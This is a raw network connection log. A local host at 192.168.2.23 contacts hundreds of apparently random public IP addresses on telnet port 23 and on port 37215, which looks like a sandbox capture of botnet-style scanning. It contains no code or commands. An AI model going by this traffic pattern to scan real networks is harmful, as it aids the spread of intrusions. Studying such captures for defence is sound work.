Dec 28, 2024 20:41:50.510405064 CET	28660	37215	192.168.2.23	197.166.114.13
Dec 28, 2024 20:41:50.510416985 CET	37215	28660	197.64.92.179	192.168.2.23
Dec 28, 2024 20:41:50.510433912 CET	28660	37215	192.168.2.23	197.234.126.39
Dec 28, 2024 20:41:50.510438919 CET	28660	37215	192.168.2.23	41.97.229.173
Dec 28, 2024 20:41:50.510447025 CET	28660	37215	192.168.2.23	197.9.9.204
Dec 28, 2024 20:41:50.510461092 CET	28660	37215	192.168.2.23	197.64.92.179
Dec 28, 2024 20:41:50.510582924 CET	37215	28660	197.92.92.45	192.168.2.23
Dec 28, 2024 20:41:50.510634899 CET	28660	37215	192.168.2.23	197.92.92.45
Dec 28, 2024 20:41:51.024286985 CET	28664	23	192.168.2.23	218.231.176.1
Dec 28, 2024 20:41:51.024290085 CET	28664	23	192.168.2.23	166.36.196.57
Dec 28, 2024 20:41:51.024296999 CET	28664	23	192.168.2.23	78.83.211.214
Dec 28, 2024 20:41:51.024313927 CET	28664	23	192.168.2.23	100.151.156.23
Dec 28, 2024 20:41:51.024317026 CET	28664	23	192.168.2.23	97.207.148.248
Dec 28, 2024 20:41:51.024317026 CET	28664	23	192.168.2.23	46.153.143.86
Dec 28, 2024 20:41:51.024317026 CET	28664	23	192.168.2.23	45.17.117.111
Dec 28, 2024 20:41:51.024321079 CET	28664	23	192.168.2.23	42.71.122.108
Dec 28, 2024 20:41:51.024318933 CET	28664	23	192.168.2.23	211.212.203.216
Dec 28, 2024 20:41:51.024321079 CET	28664	23	192.168.2.23	207.117.211.186
Dec 28, 2024 20:41:51.024318933 CET	28664	23	192.168.2.23	185.77.157.187
Dec 28, 2024 20:41:51.024321079 CET	28664	23	192.168.2.23	24.54.182.122
Dec 28, 2024 20:41:51.024315119 CET	28664	23	192.168.2.23	164.71.249.179
Dec 28, 2024 20:41:51.024322987 CET	28664	23	192.168.2.23	152.159.36.129
Dec 28, 2024 20:41:51.024331093 CET	28664	23	192.168.2.23	158.244.186.46
Dec 28, 2024 20:41:51.024323940 CET	28664	23	192.168.2.23	98.70.114.39
Dec 28, 2024 20:41:51.024343014 CET	28664	23	192.168.2.23	37.169.142.118
Dec 28, 2024 20:41:51.024343014 CET	28664	23	192.168.2.23	136.176.218.200
Dec 28, 2024 20:41:51.024343967 CET	28664	23	192.168.2.23	159.205.117.27
Dec 28, 2024 20:41:51.024343014 CET	28664	23	192.168.2.23	147.121.118.162
Dec 28, 2024 20:41:51.024349928 CET	28664	23	192.168.2.23	72.162.188.110
Dec 28, 2024 20:41:51.024349928 CET	28664	23	192.168.2.23	213.113.121.168
Dec 28, 2024 20:41:51.024349928 CET	28664	23	192.168.2.23	216.43.70.194
Dec 28, 2024 20:41:51.024358988 CET	28664	23	192.168.2.23	40.148.165.99
Dec 28, 2024 20:41:51.024363041 CET	28664	23	192.168.2.23	221.174.18.80
Dec 28, 2024 20:41:51.024363995 CET	28664	23	192.168.2.23	142.86.47.164
Dec 28, 2024 20:41:51.024383068 CET	28664	23	192.168.2.23	168.2.158.170
Dec 28, 2024 20:41:51.024383068 CET	28664	23	192.168.2.23	109.238.159.174
Dec 28, 2024 20:41:51.024383068 CET	28664	23	192.168.2.23	1.29.213.245
Dec 28, 2024 20:41:51.024383068 CET	28664	23	192.168.2.23	177.244.49.50
Dec 28, 2024 20:41:51.024383068 CET	28664	23	192.168.2.23	150.106.96.138
Dec 28, 2024 20:41:51.024388075 CET	28664	23	192.168.2.23	84.41.63.216
Dec 28, 2024 20:41:51.024395943 CET	28664	23	192.168.2.23	186.119.173.27
Dec 28, 2024 20:41:51.024401903 CET	28664	23	192.168.2.23	144.211.45.48
Dec 28, 2024 20:41:51.024401903 CET	28664	23	192.168.2.23	136.143.234.111
Dec 28, 2024 20:41:51.024416924 CET	28664	23	192.168.2.23	202.52.81.82
Dec 28, 2024 20:41:51.024416924 CET	28664	23	192.168.2.23	129.166.50.16
Dec 28, 2024 20:41:51.024419069 CET	28664	23	192.168.2.23	53.174.115.214
Dec 28, 2024 20:41:51.024419069 CET	28664	23	192.168.2.23	50.85.90.47
Dec 28, 2024 20:41:51.024419069 CET	28664	23	192.168.2.23	120.77.96.7
Dec 28, 2024 20:41:51.024420023 CET	28664	23	192.168.2.23	53.96.169.148
Dec 28, 2024 20:41:51.024421930 CET	28664	23	192.168.2.23	76.203.15.130
Dec 28, 2024 20:41:51.024421930 CET	28664	23	192.168.2.23	105.53.223.188
Dec 28, 2024 20:41:51.024421930 CET	28664	23	192.168.2.23	106.2.138.67
Dec 28, 2024 20:41:51.024421930 CET	28664	23	192.168.2.23	204.76.155.174
Dec 28, 2024 20:41:51.024421930 CET	28664	23	192.168.2.23	180.89.74.229
Dec 28, 2024 20:41:51.024431944 CET	28664	23	192.168.2.23	104.240.175.97
Dec 28, 2024 20:41:51.024435997 CET	28664	23	192.168.2.23	142.208.36.80
Dec 28, 2024 20:41:51.024435997 CET	28664	23	192.168.2.23	185.93.34.161
Dec 28, 2024 20:41:51.024435997 CET	28664	23	192.168.2.23	69.145.114.65
Dec 28, 2024 20:41:51.024440050 CET	28664	23	192.168.2.23	172.165.235.18
Dec 28, 2024 20:41:51.024441004 CET	28664	23	192.168.2.23	220.153.141.172
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	196.32.70.40
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	32.18.54.173
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	158.235.196.137
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	156.159.49.184
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	82.122.232.129
Dec 28, 2024 20:41:51.024446011 CET	28664	23	192.168.2.23	135.243.162.44
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	158.192.177.6
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	23.186.18.60
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	47.96.96.127
Dec 28, 2024 20:41:51.024442911 CET	28664	23	192.168.2.23	213.54.29.26
Dec 28, 2024 20:41:51.024460077 CET	28664	23	192.168.2.23	141.113.131.165
Dec 28, 2024 20:41:51.024462938 CET	28664	23	192.168.2.23	50.128.135.187
Dec 28, 2024 20:41:51.024462938 CET	28664	23	192.168.2.23	45.25.108.80
Dec 28, 2024 20:41:51.024462938 CET	28664	23	192.168.2.23	136.142.244.212
Dec 28, 2024 20:41:51.024468899 CET	28664	23	192.168.2.23	64.68.8.150
Dec 28, 2024 20:41:51.024468899 CET	28664	23	192.168.2.23	69.13.119.129
Dec 28, 2024 20:41:51.024471998 CET	28664	23	192.168.2.23	112.9.228.98
Dec 28, 2024 20:41:51.024476051 CET	28664	23	192.168.2.23	178.91.42.250
Dec 28, 2024 20:41:51.024476051 CET	28664	23	192.168.2.23	219.193.234.174
Dec 28, 2024 20:41:51.024476051 CET	28664	23	192.168.2.23	23.10.81.54
Dec 28, 2024 20:41:51.024476051 CET	28664	23	192.168.2.23	184.243.78.123
Dec 28, 2024 20:41:51.024492979 CET	28664	23	192.168.2.23	1.89.55.246
Dec 28, 2024 20:41:51.024494886 CET	28664	23	192.168.2.23	193.153.84.158
Dec 28, 2024 20:41:51.024503946 CET	28664	23	192.168.2.23	141.232.21.96
Dec 28, 2024 20:41:51.024503946 CET	28664	23	192.168.2.23	77.224.232.2
Dec 28, 2024 20:41:51.024508953 CET	28664	23	192.168.2.23	95.13.205.35
Dec 28, 2024 20:41:51.024508953 CET	28664	23	192.168.2.23	159.30.130.242
Dec 28, 2024 20:41:51.024518967 CET	28664	23	192.168.2.23	157.236.185.103
Dec 28, 2024 20:41:51.024518967 CET	28664	23	192.168.2.23	25.151.110.78
Dec 28, 2024 20:41:51.024519920 CET	28664	23	192.168.2.23	20.212.247.255
Dec 28, 2024 20:41:51.024519920 CET	28664	23	192.168.2.23	18.31.145.255
Dec 28, 2024 20:41:51.024519920 CET	28664	23	192.168.2.23	96.10.145.120
Dec 28, 2024 20:41:51.024519920 CET	28664	23	192.168.2.23	17.233.99.204
Dec 28, 2024 20:41:51.024524927 CET	28664	23	192.168.2.23	113.120.186.8
Dec 28, 2024 20:41:51.024534941 CET	28664	23	192.168.2.23	121.205.130.31
Dec 28, 2024 20:41:51.024534941 CET	28664	23	192.168.2.23	177.169.23.216
Dec 28, 2024 20:41:51.024538994 CET	28664	23	192.168.2.23	20.27.188.142
Dec 28, 2024 20:41:51.024538994 CET	28664	23	192.168.2.23	49.121.215.181
Dec 28, 2024 20:41:51.024538994 CET	28664	23	192.168.2.23	146.178.210.182
Dec 28, 2024 20:41:51.024538994 CET	28664	23	192.168.2.23	108.134.16.12
Dec 28, 2024 20:41:51.024542093 CET	28664	23	192.168.2.23	131.2.157.25
Dec 28, 2024 20:41:51.024542093 CET	28664	23	192.168.2.23	204.158.38.216
Dec 28, 2024 20:41:51.024553061 CET	28664	23	192.168.2.23	101.87.155.250
Dec 28, 2024 20:41:51.024554014 CET	28664	23	192.168.2.23	104.144.89.65
Dec 28, 2024 20:41:51.024554014 CET	28664	23	192.168.2.23	210.164.245.255
Dec 28, 2024 20:41:51.024554014 CET	28664	23	192.168.2.23	158.80.166.56
Dec 28, 2024 20:41:51.024561882 CET	28664	23	192.168.2.23	69.209.33.171
Dec 28, 2024 20:41:51.024564028 CET	28664	23	192.168.2.23	58.20.51.10
Dec 28, 2024 20:41:51.024564028 CET	28664	23	192.168.2.23	59.184.8.19
Dec 28, 2024 20:41:51.024564028 CET	28664	23	192.168.2.23	112.12.176.4
Dec 28, 2024 20:41:51.024564028 CET	28664	23	192.168.2.23	196.64.228.184
Dec 28, 2024 20:41:51.024580956 CET	28664	23	192.168.2.23	149.212.189.239
Dec 28, 2024 20:41:51.024581909 CET	28664	23	192.168.2.23	138.69.27.147
Dec 28, 2024 20:41:51.024584055 CET	28664	23	192.168.2.23	1.197.65.196
Dec 28, 2024 20:41:51.024584055 CET	28664	23	192.168.2.23	39.15.29.51
Dec 28, 2024 20:41:51.024585962 CET	28664	23	192.168.2.23	37.247.187.203
Dec 28, 2024 20:41:51.024585962 CET	28664	23	192.168.2.23	152.189.161.169
Dec 28, 2024 20:41:51.024588108 CET	28664	23	192.168.2.23	154.62.239.5
Dec 28, 2024 20:41:51.024585962 CET	28664	23	192.168.2.23	129.115.143.34
Dec 28, 2024 20:41:51.024585962 CET	28664	23	192.168.2.23	160.11.152.185
Dec 28, 2024 20:41:51.024590015 CET	28664	23	192.168.2.23	195.250.144.38
Dec 28, 2024 20:41:51.024590015 CET	28664	23	192.168.2.23	85.97.64.152
Dec 28, 2024 20:41:51.024590015 CET	28664	23	192.168.2.23	135.210.16.79
Dec 28, 2024 20:41:51.024590015 CET	28664	23	192.168.2.23	69.180.195.17
Dec 28, 2024 20:41:51.024590015 CET	28664	23	192.168.2.23	89.197.72.180
Dec 28, 2024 20:41:51.024590015 CET	28664	23	192.168.2.23	183.110.80.46
Dec 28, 2024 20:41:51.024588108 CET	28664	23	192.168.2.23	95.36.27.179
Dec 28, 2024 20:41:51.024588108 CET	28664	23	192.168.2.23	51.141.126.169
Dec 28, 2024 20:41:51.024600983 CET	28664	23	192.168.2.23	12.42.18.126
Dec 28, 2024 20:41:51.024600983 CET	28664	23	192.168.2.23	118.196.238.94
Dec 28, 2024 20:41:51.024600983 CET	28664	23	192.168.2.23	19.180.98.216
Dec 28, 2024 20:41:51.024600983 CET	28664	23	192.168.2.23	216.235.80.241
Dec 28, 2024 20:41:51.024601936 CET	28664	23	192.168.2.23	9.136.123.12
Dec 28, 2024 20:41:51.024601936 CET	28664	23	192.168.2.23	133.76.218.150
Dec 28, 2024 20:41:51.024602890 CET	28664	23	192.168.2.23	125.164.127.180
Dec 28, 2024 20:41:51.024602890 CET	28664	23	192.168.2.23	81.22.232.33
Dec 28, 2024 20:41:51.024605036 CET	28664	23	192.168.2.23	117.2.223.252
Dec 28, 2024 20:41:51.024607897 CET	28664	23	192.168.2.23	206.222.86.132
Dec 28, 2024 20:41:51.024607897 CET	28664	23	192.168.2.23	158.28.73.34
Dec 28, 2024 20:41:51.024610043 CET	28664	23	192.168.2.23	124.64.7.27
Dec 28, 2024 20:41:51.024616003 CET	28664	23	192.168.2.23	121.221.216.54
Dec 28, 2024 20:41:51.024616003 CET	28664	23	192.168.2.23	213.13.138.65
Dec 28, 2024 20:41:51.024616003 CET	28664	23	192.168.2.23	109.138.221.217
Dec 28, 2024 20:41:51.024621964 CET	28664	23	192.168.2.23	173.240.236.113
Dec 28, 2024 20:41:51.024624109 CET	28664	23	192.168.2.23	48.143.104.197
Dec 28, 2024 20:41:51.024624109 CET	28664	23	192.168.2.23	72.199.26.164
Dec 28, 2024 20:41:51.024624109 CET	28664	23	192.168.2.23	165.34.0.137
Dec 28, 2024 20:41:51.024626970 CET	28664	23	192.168.2.23	171.69.244.125
Dec 28, 2024 20:41:51.024626970 CET	28664	23	192.168.2.23	213.157.36.110
Dec 28, 2024 20:41:51.024631977 CET	28664	23	192.168.2.23	210.214.231.65
Dec 28, 2024 20:41:51.024633884 CET	28664	23	192.168.2.23	134.26.236.190
Dec 28, 2024 20:41:51.024635077 CET	28664	23	192.168.2.23	23.225.251.206
Dec 28, 2024 20:41:51.024638891 CET	28664	23	192.168.2.23	72.7.159.43
Dec 28, 2024 20:41:51.024641991 CET	28664	23	192.168.2.23	150.126.243.218
Dec 28, 2024 20:41:51.024641991 CET	28664	23	192.168.2.23	87.29.12.210
Dec 28, 2024 20:41:51.024645090 CET	28664	23	192.168.2.23	103.9.202.207
Dec 28, 2024 20:41:51.024652004 CET	28664	23	192.168.2.23	188.128.25.117
Dec 28, 2024 20:41:51.024667025 CET	28664	23	192.168.2.23	211.162.180.212
Dec 28, 2024 20:41:51.024671078 CET	28664	23	192.168.2.23	94.227.63.101
Dec 28, 2024 20:41:51.024671078 CET	28664	23	192.168.2.23	204.235.168.106
Dec 28, 2024 20:41:51.024671078 CET	28664	23	192.168.2.23	151.207.125.191
Dec 28, 2024 20:41:51.024671078 CET	28664	23	192.168.2.23	185.123.61.164
Dec 28, 2024 20:41:51.024672985 CET	28664	23	192.168.2.23	205.191.93.40
Dec 28, 2024 20:41:51.024676085 CET	28664	23	192.168.2.23	99.154.195.73
Dec 28, 2024 20:41:51.024676085 CET	28664	23	192.168.2.23	18.64.134.111
Dec 28, 2024 20:41:51.024682999 CET	28664	23	192.168.2.23	108.7.2.160
Dec 28, 2024 20:41:51.024683952 CET	28664	23	192.168.2.23	27.128.30.131
Dec 28, 2024 20:41:51.024682999 CET	28664	23	192.168.2.23	45.34.236.117
Dec 28, 2024 20:41:51.024682999 CET	28664	23	192.168.2.23	207.162.199.81
Dec 28, 2024 20:41:51.024683952 CET	28664	23	192.168.2.23	2.89.249.118
Dec 28, 2024 20:41:51.024682999 CET	28664	23	192.168.2.23	197.230.124.7
Dec 28, 2024 20:41:51.024683952 CET	28664	23	192.168.2.23	60.137.57.100
Dec 28, 2024 20:41:51.024693966 CET	28664	23	192.168.2.23	124.182.144.123
Dec 28, 2024 20:41:51.024694920 CET	28664	23	192.168.2.23	62.5.168.244
Dec 28, 2024 20:41:51.024697065 CET	28664	23	192.168.2.23	161.18.216.242
Dec 28, 2024 20:41:51.024697065 CET	28664	23	192.168.2.23	60.187.201.34
Dec 28, 2024 20:41:51.024701118 CET	28664	23	192.168.2.23	58.140.42.101
Dec 28, 2024 20:41:51.024701118 CET	28664	23	192.168.2.23	102.162.16.24
Dec 28, 2024 20:41:51.024704933 CET	28664	23	192.168.2.23	77.37.113.227
Dec 28, 2024 20:41:51.024709940 CET	28664	23	192.168.2.23	132.151.115.70
Dec 28, 2024 20:41:51.024710894 CET	28664	23	192.168.2.23	171.82.162.142
Dec 28, 2024 20:41:51.024712086 CET	28664	23	192.168.2.23	46.188.242.174
Dec 28, 2024 20:41:51.024710894 CET	28664	23	192.168.2.23	105.26.150.171
Dec 28, 2024 20:41:51.024712086 CET	28664	23	192.168.2.23	57.47.240.177
Dec 28, 2024 20:41:51.024710894 CET	28664	23	192.168.2.23	74.72.126.8
Dec 28, 2024 20:41:51.024712086 CET	28664	23	192.168.2.23	32.127.140.233
Dec 28, 2024 20:41:51.024714947 CET	28664	23	192.168.2.23	206.42.97.128
Dec 28, 2024 20:41:51.024719954 CET	28664	23	192.168.2.23	68.22.212.169
Dec 28, 2024 20:41:51.024728060 CET	28664	23	192.168.2.23	4.155.129.98
Dec 28, 2024 20:41:51.024728060 CET	28664	23	192.168.2.23	53.223.4.168
Dec 28, 2024 20:41:51.024728060 CET	28664	23	192.168.2.23	111.193.51.181
Dec 28, 2024 20:41:51.024734020 CET	28664	23	192.168.2.23	201.210.9.40
Dec 28, 2024 20:41:51.024734974 CET	28664	23	192.168.2.23	98.70.170.171
Dec 28, 2024 20:41:51.024738073 CET	28664	23	192.168.2.23	82.87.94.254
Dec 28, 2024 20:41:51.024739981 CET	28664	23	192.168.2.23	97.9.26.235
Dec 28, 2024 20:41:51.024739981 CET	28664	23	192.168.2.23	65.250.19.82
Dec 28, 2024 20:41:51.024741888 CET	28664	23	192.168.2.23	153.178.6.251
Dec 28, 2024 20:41:51.024741888 CET	28664	23	192.168.2.23	105.37.80.40
Dec 28, 2024 20:41:51.024746895 CET	28664	23	192.168.2.23	144.120.82.1
Dec 28, 2024 20:41:51.024746895 CET	28664	23	192.168.2.23	116.130.218.254
Dec 28, 2024 20:41:51.024748087 CET	28664	23	192.168.2.23	5.19.208.101
Dec 28, 2024 20:41:51.024754047 CET	28664	23	192.168.2.23	164.172.104.110
Dec 28, 2024 20:41:51.024755955 CET	28664	23	192.168.2.23	218.159.154.151
Dec 28, 2024 20:41:51.024755955 CET	28664	23	192.168.2.23	64.232.79.168
Dec 28, 2024 20:41:51.024760008 CET	28664	23	192.168.2.23	138.1.251.151
Dec 28, 2024 20:41:51.024760008 CET	28664	23	192.168.2.23	156.182.131.76
Dec 28, 2024 20:41:51.024760008 CET	28664	23	192.168.2.23	129.110.194.62
Dec 28, 2024 20:41:51.024760962 CET	28664	23	192.168.2.23	158.16.198.204
Dec 28, 2024 20:41:51.024764061 CET	28664	23	192.168.2.23	45.23.151.27
Dec 28, 2024 20:41:51.024764061 CET	28664	23	192.168.2.23	39.180.242.68
Dec 28, 2024 20:41:51.024764061 CET	28664	23	192.168.2.23	165.38.23.156
Dec 28, 2024 20:41:51.024765015 CET	28664	23	192.168.2.23	135.98.223.80
Dec 28, 2024 20:41:51.024777889 CET	28664	23	192.168.2.23	25.197.185.21
Dec 28, 2024 20:41:51.024777889 CET	28664	23	192.168.2.23	208.19.214.150
Dec 28, 2024 20:41:51.024782896 CET	28664	23	192.168.2.23	172.121.234.204
Dec 28, 2024 20:41:51.024784088 CET	28664	23	192.168.2.23	155.95.224.48
Dec 28, 2024 20:41:51.024784088 CET	28664	23	192.168.2.23	84.88.59.156
Dec 28, 2024 20:41:51.024784088 CET	28664	23	192.168.2.23	106.62.65.208
Dec 28, 2024 20:41:51.024785042 CET	28664	23	192.168.2.23	61.9.209.200
Dec 28, 2024 20:41:51.024785042 CET	28664	23	192.168.2.23	220.198.21.19
Dec 28, 2024 20:41:51.024789095 CET	28664	23	192.168.2.23	152.11.163.75
Dec 28, 2024 20:41:51.024804115 CET	28664	23	192.168.2.23	161.122.46.6
Dec 28, 2024 20:41:51.024804115 CET	28664	23	192.168.2.23	99.160.47.184
Dec 28, 2024 20:41:51.024817944 CET	28664	23	192.168.2.23	86.94.247.92
Dec 28, 2024 20:41:51.024817944 CET	28664	23	192.168.2.23	4.218.26.38
Dec 28, 2024 20:41:51.024818897 CET	28664	23	192.168.2.23	2.214.121.4
Dec 28, 2024 20:41:51.024817944 CET	28664	23	192.168.2.23	100.174.114.212
Dec 28, 2024 20:41:51.024818897 CET	28664	23	192.168.2.23	107.128.102.242
Dec 28, 2024 20:41:51.024817944 CET	28664	23	192.168.2.23	164.209.38.39
Dec 28, 2024 20:41:51.024820089 CET	28664	23	192.168.2.23	216.223.129.171
Dec 28, 2024 20:41:51.024821043 CET	28664	23	192.168.2.23	122.207.32.213
Dec 28, 2024 20:41:51.024821043 CET	28664	23	192.168.2.23	32.239.207.15
Dec 28, 2024 20:41:51.024821043 CET	28664	23	192.168.2.23	78.252.12.223
Dec 28, 2024 20:41:51.024821043 CET	28664	23	192.168.2.23	118.51.16.247
Dec 28, 2024 20:41:51.024821043 CET	28664	23	192.168.2.23	43.223.64.145
Dec 28, 2024 20:41:51.024827003 CET	28664	23	192.168.2.23	164.244.107.182
Dec 28, 2024 20:41:51.024827003 CET	28664	23	192.168.2.23	81.174.39.131
Dec 28, 2024 20:41:51.024827003 CET	28664	23	192.168.2.23	106.68.183.145
Dec 28, 2024 20:41:51.024827957 CET	28664	23	192.168.2.23	145.100.165.230
Dec 28, 2024 20:41:51.024827957 CET	28664	23	192.168.2.23	43.218.1.183
Dec 28, 2024 20:41:51.024831057 CET	28664	23	192.168.2.23	90.155.170.101
Dec 28, 2024 20:41:51.024842024 CET	28664	23	192.168.2.23	174.201.142.82
Dec 28, 2024 20:41:51.024843931 CET	28664	23	192.168.2.23	171.150.112.103
Dec 28, 2024 20:41:51.024848938 CET	28664	23	192.168.2.23	53.43.102.132
Dec 28, 2024 20:41:51.024848938 CET	28664	23	192.168.2.23	19.80.254.173
Dec 28, 2024 20:41:51.024848938 CET	28664	23	192.168.2.23	124.211.4.24
Dec 28, 2024 20:41:51.024853945 CET	28664	23	192.168.2.23	54.90.132.184
Dec 28, 2024 20:41:51.024857998 CET	28664	23	192.168.2.23	197.253.132.75
Dec 28, 2024 20:41:51.024859905 CET	28664	23	192.168.2.23	179.224.62.168
Dec 28, 2024 20:41:51.024859905 CET	28664	23	192.168.2.23	213.144.0.244
Dec 28, 2024 20:41:51.024842024 CET	28664	23	192.168.2.23	205.224.106.83
Dec 28, 2024 20:41:51.024876118 CET	28664	23	192.168.2.23	100.52.99.199
Dec 28, 2024 20:41:51.024880886 CET	28664	23	192.168.2.23	170.50.96.92
Dec 28, 2024 20:41:51.024880886 CET	28664	23	192.168.2.23	79.54.51.155
Dec 28, 2024 20:41:51.024888039 CET	28664	23	192.168.2.23	147.196.56.137
Dec 28, 2024 20:41:51.024888992 CET	28664	23	192.168.2.23	50.248.224.214
Dec 28, 2024 20:41:51.024888992 CET	28664	23	192.168.2.23	37.155.213.74
Dec 28, 2024 20:41:51.024888992 CET	28664	23	192.168.2.23	25.180.129.173
Dec 28, 2024 20:41:51.024890900 CET	28664	23	192.168.2.23	165.71.115.222
Dec 28, 2024 20:41:51.024890900 CET	28664	23	192.168.2.23	50.221.212.116
Dec 28, 2024 20:41:51.024892092 CET	28664	23	192.168.2.23	40.4.4.59
Dec 28, 2024 20:41:51.024888992 CET	28664	23	192.168.2.23	192.21.202.95
Dec 28, 2024 20:41:51.024890900 CET	28664	23	192.168.2.23	157.186.166.179
Dec 28, 2024 20:41:51.024903059 CET	28664	23	192.168.2.23	140.89.151.238
Dec 28, 2024 20:41:51.024907112 CET	28664	23	192.168.2.23	52.94.63.38
Dec 28, 2024 20:41:51.024909019 CET	28664	23	192.168.2.23	148.54.18.186
Dec 28, 2024 20:41:51.024915934 CET	28664	23	192.168.2.23	64.23.203.246
Dec 28, 2024 20:41:51.024921894 CET	28664	23	192.168.2.23	36.202.219.19
Dec 28, 2024 20:41:51.024921894 CET	28664	23	192.168.2.23	116.99.174.163
Dec 28, 2024 20:41:51.024923086 CET	28664	23	192.168.2.23	126.210.210.75
Dec 28, 2024 20:41:51.024923086 CET	28664	23	192.168.2.23	118.251.241.63
Dec 28, 2024 20:41:51.024924994 CET	28664	23	192.168.2.23	82.186.185.241
Dec 28, 2024 20:41:51.024923086 CET	28664	23	192.168.2.23	72.95.204.68
Dec 28, 2024 20:41:51.024923086 CET	28664	23	192.168.2.23	191.84.16.100
Dec 28, 2024 20:41:51.024923086 CET	28664	23	192.168.2.23	38.124.167.45
Dec 28, 2024 20:41:51.024923086 CET	28664	23	192.168.2.23	147.20.53.4
Dec 28, 2024 20:41:51.024930000 CET	28664	23	192.168.2.23	223.181.166.149
Dec 28, 2024 20:41:51.024930000 CET	28664	23	192.168.2.23	210.81.7.17
Dec 28, 2024 20:41:51.024935007 CET	28664	23	192.168.2.23	46.176.94.212
Dec 28, 2024 20:41:51.024944067 CET	28664	23	192.168.2.23	165.168.128.34
Dec 28, 2024 20:41:51.024952888 CET	28664	23	192.168.2.23	46.169.140.237
Dec 28, 2024 20:41:51.024952888 CET	28664	23	192.168.2.23	24.88.163.85
Dec 28, 2024 20:41:51.024952888 CET	28664	23	192.168.2.23	62.28.13.32
Dec 28, 2024 20:41:51.024952888 CET	28664	23	192.168.2.23	179.165.136.229
Dec 28, 2024 20:41:51.024952888 CET	28664	23	192.168.2.23	63.154.249.10
Dec 28, 2024 20:41:51.024954081 CET	28664	23	192.168.2.23	171.159.139.34
Dec 28, 2024 20:41:51.024955034 CET	28664	23	192.168.2.23	62.170.3.74
Dec 28, 2024 20:41:51.024955034 CET	28664	23	192.168.2.23	122.222.72.73
Dec 28, 2024 20:41:51.024959087 CET	28664	23	192.168.2.23	122.142.36.21
Dec 28, 2024 20:41:51.024961948 CET	28664	23	192.168.2.23	1.54.238.107
Dec 28, 2024 20:41:51.024962902 CET	28664	23	192.168.2.23	9.24.119.164
Dec 28, 2024 20:41:51.024962902 CET	28664	23	192.168.2.23	34.240.72.114
Dec 28, 2024 20:41:51.024962902 CET	28664	23	192.168.2.23	216.166.65.193
Dec 28, 2024 20:41:51.024962902 CET	28664	23	192.168.2.23	179.167.173.248
Dec 28, 2024 20:41:51.024983883 CET	28664	23	192.168.2.23	162.46.239.19
Dec 28, 2024 20:41:51.024983883 CET	28664	23	192.168.2.23	180.136.64.253
Dec 28, 2024 20:41:51.024983883 CET	28664	23	192.168.2.23	201.135.204.198
Dec 28, 2024 20:41:51.024985075 CET	28664	23	192.168.2.23	143.208.84.54
Dec 28, 2024 20:41:51.024985075 CET	28664	23	192.168.2.23	43.19.99.230
Dec 28, 2024 20:41:51.024986982 CET	28664	23	192.168.2.23	118.62.202.120
Dec 28, 2024 20:41:51.024988890 CET	28664	23	192.168.2.23	110.217.58.62
Dec 28, 2024 20:41:51.024991035 CET	28664	23	192.168.2.23	12.54.77.253
Dec 28, 2024 20:41:51.024991989 CET	28664	23	192.168.2.23	132.149.237.146
Dec 28, 2024 20:41:51.024991989 CET	28664	23	192.168.2.23	195.213.114.167
Dec 28, 2024 20:41:51.024991989 CET	28664	23	192.168.2.23	61.117.77.55
Dec 28, 2024 20:41:51.024996996 CET	28664	23	192.168.2.23	119.106.2.229
Dec 28, 2024 20:41:51.024996996 CET	28664	23	192.168.2.23	121.234.73.252
Dec 28, 2024 20:41:51.024996996 CET	28664	23	192.168.2.23	95.100.60.113
Dec 28, 2024 20:41:51.024997950 CET	28664	23	192.168.2.23	49.59.123.205
Dec 28, 2024 20:41:51.024997950 CET	28664	23	192.168.2.23	116.173.195.96
Dec 28, 2024 20:41:51.025007010 CET	28664	23	192.168.2.23	167.211.151.154
Dec 28, 2024 20:41:51.025012016 CET	28664	23	192.168.2.23	9.142.35.108
Dec 28, 2024 20:41:51.025012970 CET	28664	23	192.168.2.23	19.180.69.35
Dec 28, 2024 20:41:51.025013924 CET	28664	23	192.168.2.23	158.114.157.216
Dec 28, 2024 20:41:51.025013924 CET	28664	23	192.168.2.23	118.44.245.6
Dec 28, 2024 20:41:51.025013924 CET	28664	23	192.168.2.23	79.7.14.23
Dec 28, 2024 20:41:51.025016069 CET	28664	23	192.168.2.23	53.80.231.181
Dec 28, 2024 20:41:51.025016069 CET	28664	23	192.168.2.23	99.115.1.92
Dec 28, 2024 20:41:51.025019884 CET	28664	23	192.168.2.23	23.158.198.29
Dec 28, 2024 20:41:51.025019884 CET	28664	23	192.168.2.23	105.240.178.161
Dec 28, 2024 20:41:51.025019884 CET	28664	23	192.168.2.23	200.248.213.32
Dec 28, 2024 20:41:51.025021076 CET	28664	23	192.168.2.23	171.133.136.112
Dec 28, 2024 20:41:51.025021076 CET	28664	23	192.168.2.23	68.110.143.24
Dec 28, 2024 20:41:51.025022030 CET	28664	23	192.168.2.23	171.235.127.5
Dec 28, 2024 20:41:51.025029898 CET	28664	23	192.168.2.23	37.242.218.18
Dec 28, 2024 20:41:51.025038004 CET	28664	23	192.168.2.23	142.66.27.173
Dec 28, 2024 20:41:51.025038004 CET	28664	23	192.168.2.23	217.117.43.199
Dec 28, 2024 20:41:51.025038004 CET	28664	23	192.168.2.23	12.127.194.86
Dec 28, 2024 20:41:51.025038004 CET	28664	23	192.168.2.23	67.248.15.121
Dec 28, 2024 20:41:51.025041103 CET	28664	23	192.168.2.23	138.20.199.224
Dec 28, 2024 20:41:51.025047064 CET	28664	23	192.168.2.23	93.219.117.81
Dec 28, 2024 20:41:51.025047064 CET	28664	23	192.168.2.23	149.7.49.3
Dec 28, 2024 20:41:51.025048971 CET	28664	23	192.168.2.23	176.145.114.5
Dec 28, 2024 20:41:51.025047064 CET	28664	23	192.168.2.23	99.115.80.120
Dec 28, 2024 20:41:51.025057077 CET	28664	23	192.168.2.23	152.221.108.78
Dec 28, 2024 20:41:51.025060892 CET	28664	23	192.168.2.23	76.146.109.59
Dec 28, 2024 20:41:51.025072098 CET	28664	23	192.168.2.23	40.114.175.55
Dec 28, 2024 20:41:51.025072098 CET	28664	23	192.168.2.23	155.8.217.197
Dec 28, 2024 20:41:51.025072098 CET	28664	23	192.168.2.23	191.38.113.32
Dec 28, 2024 20:41:51.025072098 CET	28664	23	192.168.2.23	176.241.218.31
